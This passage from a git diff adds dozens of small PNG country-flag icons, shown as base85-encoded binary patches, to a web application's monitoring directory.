zmRCoPcxs>D!N9;^?&;zfQgJIeAt50lrHPp>EiKJW%z~j%GGOPL6)|NN{A;H7dK^vA qlNRQhE;v0-P3N3LSkEg~2BA+(b9s688Z$63FnGH9xvX<aXaWGc0Zcjo literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/re.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/re.png new file mode 100644 index 0000000000000000000000000000000000000000..ad972bcd396e196c7d370e1076f3c52a4e421453 GIT binary patch literal 308 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ6iZwqN`mv#O3D+9QW@Nf z5(_dilb!SP%2JC;Qi~KcJo8FYb2Q7_e@QYhFr4#raSW-Llk~&iBte2>Y5zXqwNn)H zIOCT3J2b`D{Y&hLQ<}P6cKxO8JPRiWOHK+iI<hvQ<6z>eW#0ahP0y`OrW>iOOX`T$ zoUnPGV&cv2_w|8Oj8t^fI^qva*gI7*&D8mlRND(xhj1em{p61LlM^=eDVErUyxgKW zS<QF0N#&;_nU~f4n;J3$sxFCW^ge1Zm%qnwGIn<vqo<zUx<iK!ojP@D(IO?CyuW{c zf1kcS-md;1Ps;z_-}z7c`1<<#eEa$jZ47)4O`vdK`2U}oK~&}c(T|&>Sr`}?7(8A5 KT-G@yGywovAbkM< literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ro.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ro.png new file mode 100644 index 0000000000000000000000000000000000000000..26ea38ab7dab29a91f6442b34aa50b237ad2e854 GIT binary patch literal 232 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3_<}uA+B<2Thg*>{{3V5m&Njri{&35OX4Xt zT?PgQV^0^ykcwN$2@FhbY6=NytW0by(^)wt>|C*FO~xjP7?H&hoF^8|I@7gE;%Z!2 f%{nGaW`?Cl80SyF-6PGwz`)??>gTe~DWM4fu}wq- literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/rs.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/rs.png new file mode 100644 index 0000000000000000000000000000000000000000..98967d27b8899ad3e3be5a621b31558f8699de2d GIT binary patch literal 684 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8E)4JqasB`Q|JScy|NZ;- z?c2BS-@k9)f88#0%Hzi5+dgi0gY|<GXU?|>ot{wb7(VUA#J>Ok{_Z$<L)&}OuiwA# z8Jb^fwY#1hwBx{yzyJTgo;Kakv-d>L<fn@l-P1NQ_34{4aqT^A!`sSQkBrQXy!!5_ z>D*D(xi-;su4#~U@RYN=kLkPjTt0nO&u`LQIn}$`dJoifE;`uHH4d~5o%%@6;#qIU z0}b721wHqTEHpePYI#qbXBmD+Mf;A5)*V&tyQ<pv^v%vJ>^W6dc~95)T7A^(g?)F` z^d8UYyQ{9}8$JE*gh}qPv%h@#a#vO7aa+qu>xhS{T6>P%((;>nJtg#^w!wUhF!Qh( z3ubTMe&qf<^N@W9E*X0F-?eo%^6EA9>%XIEU>H38kcI2Bu1+(bzPnn6&lk<~Pnc;H zH0k}u4fl18cOAWRS3_^ES@3NYt-CtLkJR<=#u(gD)VQOhc}H2x)VJRvXwvT&k4=2~ zu60M5`1Ie?H+^huc~{T$>xl!-QPc0~7%g^;S?CaB?mxlIZ^B(QU0vTvcQo}MYUx`B zO#JcV#~lTAWADDZ8u~GDAHOp&FzoYmaSX}0m+Y~As{gB^>`&XYbY8r;kho$+(Ugm4 zb6#czZ95ruBHcjvTxSv2mh8^AMS&Z)rmYAu5egN3c!D=8*Yx7&<Q1#GUp@c0XFJa` zzVkuG2^^iDOA1P#abC#F6Wd~t{vg!<;)e;-Ugu==Ow<icT4DI)(j*UVU!UCU><pcx z1nsivUJs0Wb>6?}nRX@R!}$&k@3igw!UD;xOl);*ZCUb<h1fI_(o)2P(i55(1jIS^ tNX(3kxYfvUsFg8|;TxMyr>H^C5(Wka22WQ%mvv4FO<W3`3JRPGTmX&{JdOYW literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ru.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ru.png new file mode 100644 index 0000000000000000000000000000000000000000..a5b1a15250444facb668357148780a8484e0e88d GIT binary patch literal 220 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuOYn5sxX9sfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0gAjiT4r${}~wWacEj9UNhvlSDpR- z|NsB?%M3Lb7#I{iT^vIyZY689GqA;!NU<2~Xlr8hyCuOS(K6)#LvtGwgXkNXTZx<A SWHB%>FnGH9xvX<aXaWF%+&^Xj literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/rw.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/rw.png new file mode 100644 index 0000000000000000000000000000000000000000..ce8dc8559c7e34372fcf681cee1f14a6dd47f1f2 GIT binary patch literal 247 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8Z9EdQKXe*R<;J;JhS6H7`8OHU7r zloX5hS#CK71_m2X7srr_TfKdbd<+U4hYR{X{+I6-cNG?{&fdm)W>VV{|2IqTc&%Kf vR~h=?+NQ4^$=n}xR%?9Lsox*<l3`gN<E-l|U+FV2Ffe$!`njxgN@xNAL#$3_ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sa.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sa.png new file mode 100644 index 0000000000000000000000000000000000000000..15d1995429c56b6e89a7a776882e1ef5bf7190cc GIT binary patch literal 245 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Lc!K7PHxAokzP|7CA3CKVP~}rfgSf z-1<20pxF5g3=CGDE{-7;x2B#k<U3%%;}pnjcIW@G-YF|$FYn*WxT;RfX-jqXt&J-W tJE`|ocwA<F_%4d!%I7M<J$LGC{a-RHZnjW9z`(%3;OXk;vd$@?2>_SNPuc(g literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sb.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sb.png new file mode 100644 index 0000000000000000000000000000000000000000..5249207155b42ba3acc26b28f6da967f9dd22a0c GIT binary patch literal 299 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5Z4v&SXfW9oH(KL;yWt~%bDrZ1LN+o zl$Nftv^=4vcJ9s{iEZ0#{QVF1_dnma@5`e{e^kxtw=ys=M0mP5hE&`NJsZf^V8FqA zLFr6mUe*8GT$^Uz+%JBM;V0`drQB7E$|l|pYF&7(G{#)5<FoB6#zh*ppXR+$GRglo z<E_Y<n=`$l&e&=Bv%c0)JFV38KaOe5BKDd*rf1Lnj~!uPU|{fc^>bP0l+XkK=a+5q literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sc.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sc.png new file mode 100644 index 0000000000000000000000000000000000000000..05950c282e1d7fdacf0d6bc90efb9f8242103ae7 GIT binary patch literal 330 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h#VKN}P*Q6H7Al^Atid zb5j{|O7rv-j0_d>lS}jzj0_Bn6b#L*j7_bK4HUEu3=Is{DMd|SU|?V`@$_|Nzs$_Y zXrYu6@3)76fq}EYBeIx*f$IYZGdis?nZdxoz>@Ch>&U>cv7h@-A}a#}gF%2#h$}-2 zgG7%61H)dg<of>%40EC^m&|aQxV7`Y0K@-K*8k5L{{LtA9})8Z`Sbtp-~a#re?nZ+ zT?Ph*WKS2zkcwNfCpPjPP~dU7DBURO<L>71x~a+Pl$2ykpW=iY3~39Nb<I#I;<;{f zm;K^RBjXM)@7rOOnc-n~Psx?6x#PI}nZ|-i7Cu`y%~#qmbN7h`@4$WR1&Msj59+?Y e(A)fzasO6z;rCyx%o!LM7(8A5T-G@yGywp{ymRLO literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sd.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sd.png new file mode 100644 index 0000000000000000000000000000000000000000..1af874022867d4adbb6ac20cf30863a020aa30ac GIT binary patch literal 299 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj#7kTwN}P*Q6H7Al^Atid zb5j`%jr1+`jSLKoQeU4BWnf@nFY)wsWxvG3B`R(_^WwZ;3=9mM1s;*b3=CW!K$y{K zjmZoK1_qXNM_)$<hK>E)e-c?47#Iu!d_r6q7#KJN7&s&t6kJ987nw&LvkbamA9u?3 zy#mAGP~q>24F4q<vUhkL?sR|j{oeoo{~!J^1eq1>>EaktaVvSpMMgFrO>2dcADyCe z9Zm=Y+ht$vS|`f$@afd;dG~f56%da5_U`}x|2zwqF135#SmINWVbQ_2meZbJh@W5o v<JON`8DAMEFf@KhGB_Hb#IR6SQH0^cK^=9?SYZPO1_lOCS3j3^P6<r_4qs!V literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/se.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/se.png new file mode 100644 index 0000000000000000000000000000000000000000..35aeb7bba2791786c5cfc4c617383afd3af4bbf8 GIT binary patch literal 229 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LY9iJGaiMJi8|{t1ai<Bau%pc>aB3 zsY`2_wtOWU0|SGWr;B4q#jWH71|~N(wiE}w>9QO%B5p2hXyj#GP&~7-p>?Vxm&PXX csoV^G9E|?zVqp&$7#J8lUHx3vIVCg!0KqFm*Z=?k literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sg.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sg.png new file mode 100644 index 0000000000000000000000000000000000000000..1ba1eeb98758379f45e229926aad97273cefaf43 GIT binary patch literal 233 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8bI{``9O<ooI4ceN!S+2}n_jd|DA z@HEi9@vogN0|SGer;B4q#jWH7H%6W_YjSi>#Hf{(m5Jzab4_oZE4n={O)O=yq+$an gM`J@{8Uw@SD~z$Lw4N0*FfcH9y85}Sb4q9e00o9giU0rr literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/si.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/si.png new file mode 100644 index 0000000000000000000000000000000000000000..6bab7739464db313b2272d1c3018c3ee651179c4 GIT binary patch literal 249 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{29*Gx5Z8Z9EXSB^n3?|go8DW~_h8qqKgIb! zPo4Vn;noWonKx-(cmDnRBkLZh&A`B5<muuVQgLhPaYG>n1rFv7Q39_2|Hqs2MVuA8 x!?gDH-J+N3S93a91C|>!EIOlG<=)88&-{*A-R0Tr7Yqyx44$rjF6*2UngA-LQyu^S literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sk.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sk.png new file mode 100644 index 0000000000000000000000000000000000000000..98645d11584de3bb14fdbea48a80576428300eee GIT binary patch literal 251 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z5mpT)Ukk`h-llwW`0ZUfnZg_qU9c zZ{NPHQvSilz`)?(>Eaktack~rN3H_~9IO|AW?lMy-$HF_(#v(t9Q;#Wi^{uQ<EYA$ zXtpfA|8N~g<y4nN#`C31mt}0r6#X6YCyO!Ohsis<`q(T61_lOCS3j3^P6<r_IU!Q= literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sl.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sl.png new file mode 100644 index 0000000000000000000000000000000000000000..3202cd85ef142bee1914ecbc802eb9ae73674c58 GIT binary patch literal 469 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8Fct^7J29*~C-ahlf#E=a zPlzi6!wLq5=?n}V3=GvNDR-iyZw3Wj_4K^t?0m`2?t+!oc@vY<+S(^|buUUt9_8gd zuwcQfuCAv|O^<479#mD{EiS&3mv=KO>w0SHwa=e_{rmUt&!0cPfB*jV>(`GTKfZnY z_Vw%6FJHcV{`~p!<@?vJJ+i)Hz5MO+$uB4Oz3A(D*46r?weeA7^`q*NyTv(obDHiq zGHhmGILy%WtSS9rM)KXHxO;Iiw`0O?h6P^__P*}zbj68bE<?$q5{82e40{+DmNN*S zG4BC+EXmv5g`tC0)`Nk8fwRCPvY3H^TL^?1FWs&C!@$76UgGKN%6^ASkV8+^RrgX2 z0|P^!r;B3<$MxLfx5b<sL>Mk8b4q$$Y(1e7nKg^;snEy&^;fsN(*2$5d}{Bmb;&(n zYxy&$rM7I*UHW}d&cE5u`xmWw^-D68*JZhd-=xp26SVgl-mvO>{Lbe5_wN=Kb-$to z_^y`jKdfliU}t{z=%r0>uT~{99*77ul~p`!kmm7Z>XJ?!?N=er%&Y<|iAOr`NVisr W9SA$kFqMIUfx*+&&t;ucLK6TziP7T# literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sm.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sm.png new file mode 100644 index 0000000000000000000000000000000000000000..ce75b61d7a2a4d0bb15f8a1786b1f3782aa801f5 GIT binary patch literal 148 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u$OrHy0TwnV&M}pocb%e zf`Ng7v%n*=n1O*?2!t6g-L3n>z`($g?&#~tz_78O`%fY(0|NtFfKP}kL)w}D|Nr+J x`1CO_FbI0OIEGZ*N=|TL<k|B05;p^btt><Gg8pmo85kHCJYD@<);T3K0RW#fCiegU literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sn.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sn.png new file mode 100644 index 0000000000000000000000000000000000000000..1e86ff8e3b55db6befaad71dffb4fc669c16c215 GIT binary patch literal 258 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h#VKN}P*Q6H7Al^Atid zb5j|L6La+x3=I@=6N`!!j0_A66$}ilOpUEfj1{yE3=Isn$*Tr3Ffg!}c>21sUuI@x zG`GxLG<!Y+0|RG)M`SSr1J?%-W^`I(GJ}DEfhFD1*O7r?V?XzwL{<g{27>^f5Ld%F z40FygoHJzje~#fl5g>H0&07Wr25C<h$B>F!$q5MwW@ceQNeYc(0&N%AR9-P(WcX&x WX~=OpaybJ71B0ilpUXO@geCw#Jzo9* literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sr.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sr.png new file mode 100644 index 0000000000000000000000000000000000000000..230c0cc72365f3d3ea9d4617f0ce89103cb96a16 GIT binary patch literal 205 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4mJh`26+$Niwq15jKx9jP7LeL$-HD>U|>t~ zc6VX;4}uH!E}zW6z`$AH5n0T@z%2~Ij105pNH8!ku$OrHy0YKml;Y*m{Ohpz8Uq7^ zucwP+h{pNk6pc%N&O5LrBq<0R{QLiZ{yDQaA%lZii{ITd=9xa%*JE>F`F%+?Ha895 zHEtzGcbFt+?0J*YG~M5zpdeF0!lKzg?&Z8N#;Xdlsy|vQzA`W{FnGH9xvX<aXaWGI Ca6j+> literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/st.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/st.png new file mode 100644 index 0000000000000000000000000000000000000000..789282bf493cb178afe268d4f7b0b3fd5a6a4360 GIT binary patch literal 233 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)%8HpOf7u%= z#=yY9S>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9iz$e7jshELb4#P1; zhW`u<|MxQd|IhILJ;Q%XhUd>2u3cl8Gl#*@kfFGk;Xs*52Ll6xtEY=&NX4z>1Q8Zy zHdl>YhNZm=wrq@!$coC+YA(#oaDQ<nfGv6Q1>=d<2fwVkuy&!s$8#4l9d4PLn&_DD itUJ$eHfDt_L-GR=zJkC5PZ$^&7(8A5T-G@yGywqhcuNWZ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/su.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/su.png new file mode 100644 index 0000000000000000000000000000000000000000..0b1b499456999943bde99f1067a8f8c7c603deca GIT binary patch literal 238 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8UoELS2}&Resb)L?nDiRJ5Mmfs&) z9(A!y__FLB0|SGxr;B4q#jT~McM38X@Gv>DRQ-B?gD>#OffVb*jOz_wTzU32>Bx*_ mfuHiHU5&gOCbZ<kUS{<^hM4Tqyle&r1_n=8KbLh*2~7a@LQYix literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sv.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sv.png new file mode 100644 index 0000000000000000000000000000000000000000..194a77a73f38499e385dec17c74e3bf715e8142b GIT binary patch literal 219 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=&im+;MsFX<c zGcYi47I;J!Gca%qfiUBxyLEpU7#LX69eo`c7&i8E|4C$JU|>)Q@Ck9{$llA4eJpCu zwWy`{{(t}e|NsB$Ioa>uKhK_$eDw5zpgGrqrkr~+v8IcGfx*ht#WAGfR&qiElbfT# zfdyN`*52BibybV)`h^QK7cNwEu(DYz;#BVNVuFc6T7a2Zn30*;p-jFOF$M;iL?QXT UnU{|;FfcH9y85}Sb4q9e0M^Ay?*IS* literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sy.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sy.png new file mode 100644 index 0000000000000000000000000000000000000000..abb980d92e0b87fb1818ce7b46469800f05255f4 GIT binary patch literal 238 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LYH97B4TKzyE$e{rEI)ef**e3;uce z{9|INX}(g#z`$Va>EaktaVt5&osmbS@MZu5v#_wRv9NFtOVP~8h?xgfT23E1bg1P_ ks}@@zPme}JBNGEdLo8GIArTLD1_lNOPgg&ebxsLQ01oL!xBvhE literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sz.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sz.png new file mode 100644 index 0000000000000000000000000000000000000000..e4a33b03808c86aa273c52d7a155158aa1bd0ab1 GIT binary patch literal 319 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2IByq5LX5UhV+@I|D9twnZmjt!C*EUdjv0+ zkbuDbix-aV+_6Yo^2?VmDH&yJJ*52o12lC_?oHBhUnnZez`(#*666=m;PC858Uq7E zjHioZNX4z%K0~ns3LMTGyChuR{PmCi{bG^xf2NZYS}w84e!8_l=1yUUcxhDruR8Cn zQehJwRkgFuca}5uPBRP={rr-_LiEy+P?rk_bEE>5cm+jSpT4$E|C3k8kTaJ#Q{rrp R5Ca1PgQu&X%Q~loCIElIX=nfd literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tc.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tc.png new file mode 100644 index 0000000000000000000000000000000000000000..bf9d43d8cc339a4f3dd7fad02a7b134d942a8a61 GIT binary patch literal 272 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{29*Gx5LagA?^9;^`P-fj>e6|1Tjthojd?*^ zmRa?@h%LHTJH5Z``9E8m*3^=%3=9mOo-U3d6}M`89Jv}Cc$hCo%})FM|3BBRMM_rN z8+{bmW#jtht~t2mSmKIT@3j1u?z(!)a@ri3^sXb1UnTK=&gbpkeM_kSMqK&-oTmkh UMY3{_UNC@6b@g*u=akR{0D<OVJOBUy literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/td.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/td.png new file mode 100644 index 0000000000000000000000000000000000000000..de0df6d63951e29e31f88ea26a702f45ab4f3352 GIT binary patch literal 222 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LYFoCDGBjw{FS&h-P~xC&R|J>fJk* ze@rZ<!7aiJ3=GPiE{-7;w~`ZBncU1264Kb2*i7`8<8C@G5@(T^+0ZbPm4jiG7xOEz TJ-J>C3=9mOu6{1-oD!M<Z#_Hs literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tf.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tf.png new file mode 100644 index 0000000000000000000000000000000000000000..85c55910bd1212eb1fcaf4f97f55824473ccc708 GIT binary patch literal 231 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qX2FS9BP zVPIh3EbxddW?<kJ0%68WckBKzFfg#BJNh~@Fl_AS{*%bcz`$S-;1lASoSe*HIL9z~ z&j0`a4U^9$&pCJQ-2XWsbne`oIp>m-|IbN2XULG8eD1#?!~Z#RbnaX`#K6E{<>}%W zQgJIeq2yk1U_iix#*3BmQ~tFdYd^8M<!lkl=f;)_))q07mJ5gU0<0vxb~`;?_=;7O eRdN9X!){Cd4}NZoycrl67(8A5T-G@yGywoYoKpV) literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tg.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tg.png new file mode 100644 index 0000000000000000000000000000000000000000..b9f6101d23da5d6427d730159c2c3053a5a4d66a GIT binary patch literal 238 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LdxNEdTzo{8*;B;3>;L7S^yjmVc>f zb!{xUTcng37#NH_T^vIyZY3u$GKR5995|NhUU2h9M8ph<g$;}+Tpl*1&Rp2Qxc{V& l!U3M}GaXD9b}nIHm>15dcWhPH1_lNO22WQ%mvv4FO#lPGNuK}! literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/th.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/th.png new file mode 100644 index 0000000000000000000000000000000000000000..2e8a282754bb384d5c0fc5ed57c16dbe554d0956 GIT binary patch literal 229 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2B83-5Z8ZPEdNd&`S<V7s&!A~)VBQNW0_`H z*u%iUVBqQE7*cU7IU$w7IgE{sO`z>VgNSy-1VL5<gM|!iX(9&>G%<NRUL@I?COFIZ c0~5owg^cHA%fFsrU|?YIboFyt=akR{0Gnk*$N&HU literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tk.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tk.png new file mode 100644 index 0000000000000000000000000000000000000000..ab79b28a1607e550cad77ed71072e88118871920 GIT binary patch literal 270 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LXt~RY^&OGiJEf)`o>e<#1aTIytp4 z73dTTcy=)`Fa&$LIEGZ*O6`m0Vld=jo}6*}_x*}mQLfeT!je26<fnU<Wg2^|i{0Yj z)iYN);!r`*GB1;D%%W}A-lUbvKA%(M({tmxlzLr?2}ddKy{M0mG=H99kH5k2Y_@@P RF9QPugQu&X%Q~loCIG@oRB`|S literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tm.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tm.png new file mode 100644 index 0000000000000000000000000000000000000000..344049aacc045add9b33f044e4d01d60e019e494 GIT binary patch literal 291 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2K4}+5ZC|z|CcRe`BcZpe1_#qhtTyUF3)D@ zTy9lyxM8>G?ZSdb1<IFIy7Fwk9Gg?Zz`(#*666=m;PC858Uq7^kEe@cNX4z#zHq(+ z1{}`93TN*9-{Y%l74vVN&4(FDN6z=|<V$+K%I(%Fb@#=ZKd)_)TAx#RB|EKu&)L)a 